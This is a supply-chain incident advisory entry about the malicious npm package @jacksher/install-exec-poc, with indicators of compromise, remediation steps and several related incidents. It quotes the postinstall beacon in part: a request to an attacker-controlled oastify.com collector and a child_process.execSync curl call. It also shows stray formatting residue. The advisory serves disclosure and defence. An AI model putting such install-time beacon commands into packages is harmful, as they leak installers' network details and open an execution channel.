Malicious code in @jacksher/install-exec-poc (npm)
The npm package @jacksher/install-exec-poc contained malicious code in its postinstall script that executed unconditionally on installation, performing DNS lookups and HTTPS requests to an attacker-controlled OAST collector domain and executing shell commands via curl.
- Disclosed
- Last updated
- Blast radius
- Any developer or system that installed @jacksher/install-exec-poc from npm
- Ecosystems
- Attack vectors
- Affected entities
- @jacksher/install-exec-pocnpm package containing malicious postinstall script
The npm package @jacksher/install-exec-poc contained malicious code embedded in a postinstall script (beacon.js) that executed unconditionally whenever the package was installed via npm. The package name itself labeled it as a proof-of-concept, but the malicious behavior fired on any consumer who installed it.\n\nThe postinstall script performed multiple malicious actions: unconditional DNS lookups, HTTPS GET requests to https://jobzq12beck611luewfsf8yyepkg86wv.oastify.com/postinstall-fired, and execution of shell commands via child_process.execSync('curl -s https:// /ci', {stdio:'ignore'}) against the same attacker-controlled Burp Collaborator subdomain. These actions disclosed the installer's public IP address and resolver metadata to the attacker.\n\nThe use of execSync to shell out to curl at postinstall time established an install-time shell-to-network primitive on the installer's host, creating a direct execution channel for the attacker. The incident was identified by the OpenSSF malicious-packages project and reported via GitHub Security Advisory GHSA-pf2f-2wpf-5qfx.",
<parameter name="remediation">["Remove @jacksher/install-exec-poc from all package.json files and lock files", "Audit npm install logs and network traffic from the time the package was installed to identify potential data exfiltration", "Review any systems that installed this package for signs of compromise or unauthorized access", "Update npm to the latest version and run npm audit to identify other potentially malicious packages", "Consider rotating credentials and API keys that may have been exposed during the installation window"]
Indicators of compromise
- Packages
- @jacksher/install-exec-poc
- Domains
- jobzq12beck611luewfsf8yyepkg86wv.oastify.com
Remediation
- Review the linked advisory; remove or upgrade the affected component and rotate any exposed credentials.
Sources
- GitHub Advisory GHSA-pf2f-2wpf-5qfx · GitHub Advisory Database
Cite this entry
"Malicious code in @jacksher/install-exec-poc (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 13, 2026; last updated August 13, 2026. https://supplychainattack.org/incident/malicious-code-in-jacksher-install-exec-poc-npm-moshus
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- containedcritical
Malware in envfile-sync-cli
Malware was discovered in the npm package envfile-sync-cli, providing full system compromise to any computer with the package installed or running. All secrets and keys on affected systems should be rotated immediately from a different computer.
npmCompromised package - containedcritical
Malware in disksweep
The npm package disksweep was found to contain malware, resulting in full system compromise of any computer with the package installed or running. All secrets and keys on affected systems should be rotated immediately from a different computer.
npmCompromised package - containedcritical
Malicious code in epic-common (npm)
The npm package epic-common was found to contain malicious code. The package was identified by Amazon Inspector and reported through the OpenSSF malicious packages database.
npmCompromised package - containedcritical
Malicious code in checkout-desktop-total (npm)
The npm package checkout-desktop-total contained malicious code that executes a hidden loader on import, downloading and running platform-specific native payloads from attacker-controlled Cloudflare Workers hosts or reconstructing them via DNS TXT records under wel1.ru. Any system that imported this package should be considered compromised.
npmCompromised package